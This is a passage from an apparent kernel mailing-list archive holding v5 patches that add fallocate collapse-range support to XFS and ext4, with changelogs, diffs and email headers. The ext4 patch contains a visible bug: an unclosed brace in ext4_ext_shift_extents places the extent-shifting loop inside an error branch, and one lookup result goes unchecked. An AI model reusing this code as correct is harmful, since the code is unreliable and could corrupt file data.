XFS. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned in case of xfs and ext4. 4) Collaspe range does not work beyond i_size. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- Changelog v5: - reduce the number of extents to be shifted under write transactions from 2 to 1 - Simplified a check for the case when shifting first extent of the file, the hole is at the begining not large enough to contain the shift v4: - move block size aligned check from VFS layer to FS specific layer. - update comments for xfs_bmap_shift_extents and change variable name to more reasonable name. - add ASSERTs for pointers in XFS patch. - drop all the xfs_bmbt_get*() wrappers. - change return errno from EFSCORRUPTED to EINVAL, when hole is not large enough to contain the shift. - xfs: remove extents from on-disk btree also in case of merge. v3: - fix checkpatch.pl warning v2: - Added check to make sure before shifting that the hole is big enough to contian the shift. - Added code to make merging of extent where possible. - Under write transaction we are only allowed for 2 bmbt updated. Reduce the number of extents to be shifted in 1 transaction from 3 to 2. - Change semantics of collapse range and contain it within EOF. fs/xfs/xfs_bmap.c | 193 +++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_bmap.h | 15 ++++ fs/xfs/xfs_bmap_util.c | 96 ++++++++++++++++++++++++ fs/xfs/xfs_bmap_util.h | 2 + fs/xfs/xfs_file.c | 19 ++++- fs/xfs/xfs_trace.h | 1 + 6 files changed, 324 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 152543c..5b6092e 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -5378,3 +5378,196 @@ error0: } return error; } + +/* + * Shift extent records to the left to cover a hole. + * + * The maximum number of extents to be shifted in a single operation + * is @num_exts, and @current_ext keeps track of the current extent + * index we have shifted. @offset_shift_fsb is the length by which each + * extent is shifted. If there is no hole to shift the extents + * into, this will be considered invalid operation and we abort immediately. + */ +int +xfs_bmap_shift_extents( + struct xfs_trans *tp, + struct xfs_inode *ip, + int *done, + xfs_fileoff_t start_fsb, + xfs_fileoff_t offset_shift_fsb, + xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, + struct xfs_bmap_free *flist, + int num_exts) +{ + struct xfs_btree_cur *cur; + struct xfs_bmbt_rec_host *gotp; + struct xfs_bmbt_irec got; + struct xfs_bmbt_irec left; + struct xfs_mount *mp = ip->i_mount; + struct xfs_ifork *ifp; + xfs_extnum_t nexts = 0; + xfs_fileoff_t startoff; + int error = 0; + int i; + int whichfork = XFS_DATA_FORK; + int logflags; + xfs_filblks_t blockcount = 0; + + if (unlikely(XFS_TEST_ERROR( + (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && + XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE), + mp, XFS_ERRTAG_BMAPIFORMAT, XFS_RANDOM_BMAPIFORMAT))) { + XFS_ERROR_REPORT("xfs_bmap_shift_extents", + XFS_ERRLEVEL_LOW, mp); + return XFS_ERROR(EFSCORRUPTED); + } + + if (XFS_FORCED_SHUTDOWN(mp)) + return XFS_ERROR(EIO); + + ASSERT(current_ext != NULL); + + ifp = XFS_IFORK_PTR(ip, whichfork); + + if (!(ifp->if_flags & XFS_IFEXTENTS)) { + /* Read in all the extents */ + error = xfs_iread_extents(tp, ip, whichfork); + if (error) + return error; + } + + /* + * If *current_ext is 0, we would need to lookup the extent + * from where we would start shifting and store it in gotp. + */ + if (!*current_ext) { + gotp = xfs_iext_bno_to_ext(ifp, start_fsb, current_ext); + /* + * gotp can be null in 2 cases: 1) if there are no extents + * or 2) start_fsb lies in a hole beyond which there are + * no extents. Either way, we are done. + */ + if (!gotp) { + *done = 1; + return 0; + } + } + + /* We are going to change core inode */ + logflags = XFS_ILOG_CORE; + + if (ifp->if_flags & XFS_IFBROOT) { + cur = xfs_bmbt_init_cursor(mp, tp, ip, whichfork); + cur->bc_private.b.firstblock = *firstblock; + cur->bc_private.b.flist = flist; + cur->bc_private.b.flags = 0; + } else { + cur = NULL; + logflags |= XFS_ILOG_DEXT; + } + + while (nexts++ < num_exts && + *current_ext < XFS_IFORK_NEXTENTS(ip, whichfork)) { + + gotp = xfs_iext_get_ext(ifp, *current_ext); + xfs_bmbt_get_all(gotp, &got); + startoff = got.br_startoff - offset_shift_fsb; + + /* + * Before shifting extent into hole, make sure that the hole + * is large enough to accomodate the shift. + */ + if (*current_ext) { + xfs_bmbt_get_all(xfs_iext_get_ext(ifp, + *current_ext - 1), &left); + + if (startoff < left.br_startoff + left.br_blockcount) + error = XFS_ERROR(EINVAL); + } else if (offset_shift_fsb > got.br_startoff) { + /* + * When first extent is shifted, offset_shift_fsb + * should be less than the stating offset of + * the first extent. + */ + error = XFS_ERROR(EINVAL); + } + + if (error) + goto del_cursor; + + if (cur) { + error = xfs_bmbt_lookup_eq(cur, got.br_startoff, + got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + /* Check if we can merge 2 adjacent extents */ + if (*current_ext && + left.br_startoff + left.br_blockcount == startoff && + left.br_startblock + left.br_blockcount == + got.br_startblock && + left.br_state == got.br_state && + left.br_blockcount + got.br_blockcount <= MAXEXTLEN) { + blockcount = left.br_blockcount + + got.br_blockcount; + xfs_iext_remove(ip, *current_ext, 1, 0); + if (cur) { + error = xfs_btree_delete(cur, &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + XFS_IFORK_NEXT_SET(ip, whichfork, + XFS_IFORK_NEXTENTS(ip, whichfork) - 1); + gotp = xfs_iext_get_ext(ifp, --*current_ext); + xfs_bmbt_get_all(gotp, &got); + + /* Make cursor point to the extent we will update */ + if (cur) { + error = xfs_bmbt_lookup_eq(cur, got.br_startoff, + got.br_startblock, + got.br_blockcount, + &i); + if (error) + goto del_cursor; + XFS_WANT_CORRUPTED_GOTO(i == 1, del_cursor); + } + + xfs_bmbt_set_blockcount(gotp, blockcount); + got.br_blockcount = blockcount; + } else { + /* We have to update the startoff */ + xfs_bmbt_set_startoff(gotp, startoff); + got.br_startoff = startoff; + } + + if (cur) { + error = xfs_bmbt_update(cur, got.br_startoff, + got.br_startblock, + got.br_blockcount, + got.br_state); + if (error) + goto del_cursor; + } + + (*current_ext)++; + } + + /* Check if we are done */ + if (*current_ext == XFS_IFORK_NEXTENTS(ip, whichfork)) + *done = 1; + +del_cursor: + if (cur) + xfs_btree_del_cursor(cur, + error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + + xfs_trans_log_inode(tp, ip, logflags); + + return error; +} diff --git a/fs/xfs/xfs_bmap.h b/fs/xfs/xfs_bmap.h index 33b41f3..f84bd7a 100644 --- a/fs/xfs/xfs_bmap.h +++ b/fs/xfs/xfs_bmap.h @@ -127,6 +127,16 @@ static inline void xfs_bmap_init(xfs_bmap_free_t *flp, xfs_fsblock_t *fbp) { BMAP_RIGHT_FILLING, "RF" }, \ { BMAP_ATTRFORK, "ATTR" } + +/* + * This macro is used to determine how many extents will be shifted + * in one write transaction. We could require two splits, + * an extent move on the first and an extent merge on the second, + * So it is proper that one extent is shifted inside write transaction + * at a time. + */ +#define XFS_BMAP_MAX_SHIFT_EXTENTS 1 + #ifdef DEBUG void xfs_bmap_trace_exlist(struct xfs_inode *ip, xfs_extnum_t cnt, int whichfork, unsigned long caller_ip); @@ -169,5 +179,10 @@ int xfs_bunmapi(struct xfs_trans *tp, struct xfs_inode *ip, int xfs_check_nostate_extents(struct xfs_ifork *ifp, xfs_extnum_t idx, xfs_extnum_t num); uint xfs_default_attroffset(struct xfs_inode *ip); +int xfs_bmap_shift_extents(struct xfs_trans *tp, struct xfs_inode *ip, + int *done, xfs_fileoff_t start_fsb, + xfs_fileoff_t offset_shift_fsb, xfs_extnum_t *current_ext, + xfs_fsblock_t *firstblock, struct xfs_bmap_free *flist, + int num_exts); #endif /* __XFS_BMAP_H__ */ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index f264616..4e59da4 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1468,6 +1468,102 @@ out: } /* + * xfs_collapse_file_space() + * This routine frees disk space and shift extent for the given file. + * The first thing we do is to free data blocks in the specified range + * by calling xfs_free_file_space(). It would also sync dirty data + * and invalidate page cache over the region on which collapse range + * is working. And Shift extent records to the left to cover a hole. + * RETURNS: + * 0 on success + * errno on error + * + */ +int +xfs_collapse_file_space( + struct xfs_inode *ip, + xfs_off_t offset, + xfs_off_t len) +{ + int done = 0; + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + xfs_extnum_t current_ext = 0; + struct xfs_bmap_free free_list; + xfs_fsblock_t first_block; + int committed; + xfs_fileoff_t start_fsb; + xfs_fileoff_t shift_fsb; + + ASSERT(xfs_isilocked(ip, XFS_IOLOCK_EXCL)); + + trace_xfs_collapse_file_space(ip); + + start_fsb = XFS_B_TO_FSB(mp, offset + len); + shift_fsb = XFS_B_TO_FSB(mp, len); + + error = xfs_free_file_space(ip, offset, len); + if (error) + return error; + + while (!error && !done) { + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); + tp->t_flags |= XFS_TRANS_RESERVE; + /* + * We would need to reserve permanent block for transaction. + * This will come into picture when after shifting extent into + * hole we found that adjacent extents can be merged which + * may lead to freeing of a block during record update. + */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0); + if (error) { + ASSERT(error == ENOSPC || XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, 0); + break; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + error = xfs_trans_reserve_quota(tp, mp, ip->i_udquot, + ip->i_gdquot, ip->i_pdquot, + XFS_DIOSTRAT_SPACE_RES(mp, 0), 0, + XFS_QMOPT_RES_REGBLKS); + if (error) + goto out; + + xfs_trans_ijoin(tp, ip, 0); + + xfs_bmap_init(&free_list, &first_block); + + /* + * We are using the write transaction in which max 2 bmbt + * updates are allowed + */ + error = xfs_bmap_shift_extents(tp, ip, &done, start_fsb, + shift_fsb, ¤t_ext, + &first_block, &free_list, + XFS_BMAP_MAX_SHIFT_EXTENTS); + if (error) + goto out; + + error = xfs_bmap_finish(&tp, &free_list, &committed); + if (error) + goto out; + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + } + + return error; + +out: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return error; +} + +/* * We need to check that the format of the data fork in the temporary inode is * valid for the target inode before doing the swap. This is not a problem with * attr1 because of the fixed fork offset, but attr2 has a dynamically sized diff --git a/fs/xfs/xfs_bmap_util.h b/fs/xfs/xfs_bmap_util.h index 900747b..935ed2b 100644 --- a/fs/xfs/xfs_bmap_util.h +++ b/fs/xfs/xfs_bmap_util.h @@ -99,6 +99,8 @@ int xfs_free_file_space(struct xfs_inode *ip, xfs_off_t offset, xfs_off_t len); int xfs_zero_file_space(struct xfs_inode *ip, xfs_off_t offset, xfs_off_t len); +int xfs_collapse_file_space(struct xfs_inode *, xfs_off_t offset, + xfs_off_t len); /* EOF block manipulation functions */ bool xfs_can_free_eofblocks(struct xfs_inode *ip, bool force); diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 64b48ea..7a774f9 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -823,7 +823,8 @@ xfs_file_fallocate( if (!S_ISREG(inode->i_mode)) return -EINVAL; - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; xfs_ilock(ip, XFS_IOLOCK_EXCL); @@ -831,6 +832,20 @@ xfs_file_fallocate( error = xfs_free_file_space(ip, offset, len); if (error) goto out_unlock; + } else if (mode & FALLOC_FL_COLLAPSE_RANGE) { + unsigned blksize_mask = (1 << inode->i_blkbits) - 1; + + if (offset & blksize_mask || len & blksize_mask) { + error = -EINVAL; + goto out_unlock; + } + + ASSERT(offset + len < i_size_read(inode)); + new_size = i_size_read(inode) - len; + + error = xfs_collapse_file_space(ip, offset, len); + if (error) + goto out_unlock; } else { if (!(mode & FALLOC_FL_KEEP_SIZE) && offset + len > i_size_read(inode)) { @@ -859,7 +874,7 @@ xfs_file_fallocate( if (ip->i_d.di_mode & S_IXGRP) ip->i_d.di_mode &= ~S_ISGID; - if (!(mode & FALLOC_FL_PUNCH_HOLE)) + if (!(mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_COLLAPSE_RANGE))) ip->i_d.di_flags |= XFS_DIFLAG_PREALLOC; xfs_trans_ichgtime(tp, ip, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 425dfa4..a4ae41c 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -603,6 +603,7 @@ DEFINE_INODE_EVENT(xfs_readlink); DEFINE_INODE_EVENT(xfs_inactive_symlink); DEFINE_INODE_EVENT(xfs_alloc_file_space); DEFINE_INODE_EVENT(xfs_free_file_space); +DEFINE_INODE_EVENT(xfs_collapse_file_space); DEFINE_INODE_EVENT(xfs_readdir); #ifdef CONFIG_XFS_POSIX_ACL DEFINE_INODE_EVENT(xfs_get_acl); -- 1.7.11-rc0 From linkinjeon@gmail.com Tue Feb 18 10:38:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 88BDA7FF6 for ; Tue, 18 Feb 2014 10:38:19 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7BBDC8F8033 for ; Tue, 18 Feb 2014 08:38:19 -0800 (PST) X-ASG-Debug-ID: 1392741497-04cb6c6de05408a0001-NocioJ Received: from mail-pd0-f174.google.com (mail-pd0-f174.google.com [209.85.192.174]) by cuda.sgi.com with ESMTP id RfqP7sB6ux83MEpn (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 08:38:17 -0800 (PST) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.174 Received: by mail-pd0-f174.google.com with SMTP id z10so16526080pdj.33 for ; Tue, 18 Feb 2014 08:38:17 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=IE7UFmOvMnFKAYlMsBeLJtANunTtP1kBMeBgzVvwsY0=; b=OQImUWjmdmWCDyKq1J1KlfLJURIVY+eJJUVZPgKJqAmt8AC15NxeQ2QTO0movzzg6i sEHGqgvs37qZBT4nOE0Z96Qxt8O/6N1Ih7SjTvFWuysgxmwmUx22/xSKR8Y2Wa43q0sC u4TuoFcE9yXPoBJEuGeyh9T+HGnrcTxVvqQ9QTD/AKV/LVenoYy6chy3NmpAIqI7exS5 qk+678AJbh5bp9BuS0xhUJSel8vYNPPv7QfE6I2PnAHpz8vcM+Nso+Jy0N277oBy5Biq HJpNpXEkOIfcz35i2qpBinLpcFlIa4dhByX0X6lJAJFZXpmE9T++89ev4znJ01zK3mcH EjwQ== X-Barracuda-BBL-IP: nil X-Received: by 10.67.3.68 with SMTP id bu4mr11031313pad.144.1392741497267; Tue, 18 Feb 2014 08:38:17 -0800 (PST) Received: from linkinjeon-Aspire-One-522.kornet ([211.105.79.118]) by mx.google.com with ESMTPSA id ns7sm57447165pbc.32.2014.02.18.08.38.13 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 18 Feb 2014 08:38:16 -0800 (PST) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 211.105.79.118 To: viro@zeniv.linux.org.uk, david@fromorbit.com, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Namjae Jeon , Ashish Sangwan Subject: [PATCH v5 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Wed, 19 Feb 2014 01:38:09 +0900 X-ASG-Orig-Subj: [PATCH v5 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1392741489-20097-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f174.google.com[209.85.192.174] X-Barracuda-Start-Time: 1392741497 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145248 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for Ext4. The semantics of this flag are following: 1) It collapses the range lying between offset and length by removing any data blocks which are present in this range and than updates all the logical offsets of extents beyond "offset + len" to nullify the hole created by removing blocks. In short, it does not leave a hole. 2) It should be used exclusively. No other fallocate flag in combination. 3) Offset and length supplied to fallocate should be fs block size aligned in case of xfs and ext4. 4) Collaspe range does not work beyond i_size. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- Changelog v5: Fix review comments from Lukas Czerner. - Added checks for immutable files and swap files. - Move inode flag checks under imutex. - Remove an obsolete checking. - truncate_pagecache_range can work on page size aligned byte offsets so alignment is not required. v4: - move block size aligned check from VFS layer to FS specific layer. v3: - fix checkpatch.pl warning v2: - Added check to make sure before shifting that the hole is big enough to contian the shift. - Added code to make merging of extent where possible. - Change semantics of collapse range and contain it within EOF. fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 304 +++++++++++++++++++++++++++++++++++++++++++- fs/ext4/move_extent.c | 2 +- include/trace/events/ext4.h | 25 ++++ 4 files changed, 332 insertions(+), 2 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index ece5556..ca9b115 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2755,6 +2755,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); extern int ext4_ext_precache(struct inode *inode); +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ extern void ext4_double_down_write_data_sem(struct inode *first, @@ -2764,6 +2765,8 @@ extern void ext4_double_up_write_data_sem(struct inode *orig_inode, extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, __u64 start_orig, __u64 start_donor, __u64 len, __u64 *moved_len); +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, + struct ext4_extent **extent); /* page-io.c */ extern int __init ext4_init_pageio(void); diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 74bc2d5..db0ebe4 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4565,12 +4565,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) return ext4_punch_hole(inode, offset, len); + if (mode & FALLOC_FL_COLLAPSE_RANGE) + return ext4_collapse_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -4869,3 +4873,301 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, ext4_es_lru_add(inode); return error; } + +/* + * ext4_access_path: + * Function to access the path buffer for marking it dirty. + * It also checks if there are sufficient credits left in the journal handle + * to update path. + */ +static int +ext4_access_path(handle_t *handle, struct inode *inode, + struct ext4_ext_path *path) +{ + int credits, err; + + /* + * Check if need to extend journal credits + * 3 for leaf, sb, and inode plus 2 (bmap and group + * descriptor) for each block group; assume two block + * groups + */ + if (handle->h_buffer_credits < 7) { + credits = ext4_writepage_trans_blocks(inode); + err = ext4_ext_truncate_extend_restart(handle, inode, credits); + /* EAGAIN is success */ + if (err && err != -EAGAIN) + return err; + } + + err = ext4_ext_get_access(handle, inode, path); + return err; +} + +/* + * ext4_ext_shift_path_extents: + * Shift the extents of a path structure lying between path[depth].p_ext + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift + * from starting block for each extent. + */ +static int +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, + struct inode *inode, handle_t *handle, + ext4_lblk_t *start) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + bool update = 0; + depth = path->p_depth; + + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = path[depth].p_ext; + if (!ex_start) + return -EIO; + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) + update = 1; + + *start = ex_last->ee_block + + ext4_ext_get_actual_len(ex_last); + + while (ex_start <= ex_last) { + ex_start->ee_block -= shift; + if (ex_start > + EXT_FIRST_EXTENT(path[depth].p_hdr)) { + if (ext4_ext_try_to_merge_right(inode, + path, ex_start - 1)) + ex_last--; + } + ex_start++; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || !update) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + path[depth].p_idx->ei_block -= shift; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_shift_extents: + * All the extents which lies in the range from start to the last allocated + * block for the file are shifted downwards by shift blocks. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, + ext4_lblk_t start, ext4_lblk_t shift) +{ + struct ext4_ext_path *path; + int ret = 0, depth; + struct ext4_extent *extent; + ext4_lblk_t stop_block, current_block; + ext4_lblk_t ex_start, ex_end; + + /* Let path point to the last extent */ + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = path->p_depth; + extent = path[depth].p_ext; + if (!extent) { + ext4_ext_drop_refs(path); + kfree(path); + return ret; + } + + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + /* Nothing to shift, if hole is at the end of file */ + if (start >= stop_block) + return ret; + + /* + * Don't start shifting extents until we make sure the hole is big + * enough to accomodate the shift. + */ + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); + depth = path->p_depth; + extent = path[depth].p_ext; + ex_start = extent->ee_block; + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + if ((start == ex_start && shift > ex_start) || + (shift > start - ex_end)) { + return -EINVAL; + + /* Its safe to start updating extents */ + while (start < stop_block) { + path = ext4_ext_find_extent(inode, start, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + depth = path->p_depth; + extent = path[depth].p_ext; + current_block = extent->ee_block; + if (start > current_block) { + /* Hole, move to the next extent */ + ret = mext_next_extent(inode, path, &extent); + if (ret != 0) { + ext4_ext_drop_refs(path); + kfree(path); + if (ret == 1) + ret = 0; + break; + } + } + ret = ext4_ext_shift_path_extents(path, shift, inode, + handle, &start); + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_collapse_range: + * This implements the fallocate's collapse range functionality for ext4 + * Returns: 0 and non-zero on error. + */ +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + ext4_lblk_t punch_start, punch_stop; + handle_t *handle; + unsigned int credits; + loff_t new_size; + int ret; + + BUG_ON(offset + len > i_size_read(inode)); + + /* Collapse range works only on fs block size aligned offsets. */ + if (offset & (EXT4_BLOCK_SIZE(sb) - 1) || + len & (EXT4_BLOCK_SIZE(sb) - 1)) + return -EINVAL; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + trace_ext4_collapse_range(inode, offset, len); + + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, offset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + /* It's not possible punch hole on append only file */ + if (IS_APPEND(inode) || IS_IMMUTABLE(inode)) { + ret = -EPERM; + goto out_mutex; + } + + if (IS_SWAPFILE(inode)) { + ret = -ETXTBSY; + goto out_mutex; + } + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) { + ret = -EOPNOTSUPP; + goto out_mutex; + } + + truncate_pagecache_range(inode, offset, -1); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + ext4_discard_preallocations(inode); + + ret = ext4_es_remove_extent(inode, punch_start, + EXT_MAX_BLOCKS - punch_start - 1); + if (ret) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); + if (ret) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + ret = ext4_ext_shift_extents(inode, handle, punch_stop, + punch_stop - punch_start); + if (ret) { + up_write(&EXT4_I(inode)->i_data_sem); + goto out_stop; + } + + new_size = i_size_read(inode) - len; + i_size_write(inode, new_size); + EXT4_I(inode)->i_disksize = new_size; + + ext4_discard_preallocations(inode); + up_write(&EXT4_I(inode)->i_data_sem); + if (IS_SYNC(inode)) + ext4_handle_sync(handle); + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +out_stop: + ext4_journal_stop(handle); +out_dio: + ext4_inode_resume_unlocked_dio(inode); +out_mutex: + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index f39a88a..58ee7dc 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) * ext4_ext_path structure refers to the last extent, or a negative error * value on failure. */ -static int +int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, struct ext4_extent **extent) { diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..90e2f71 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, __entry->shrunk_nr, __entry->cache_cnt) ); +TRACE_EVENT(ext4_collapse_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.11-rc0 From linkinjeon@gmail.com Tue Feb 18 10:38:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on 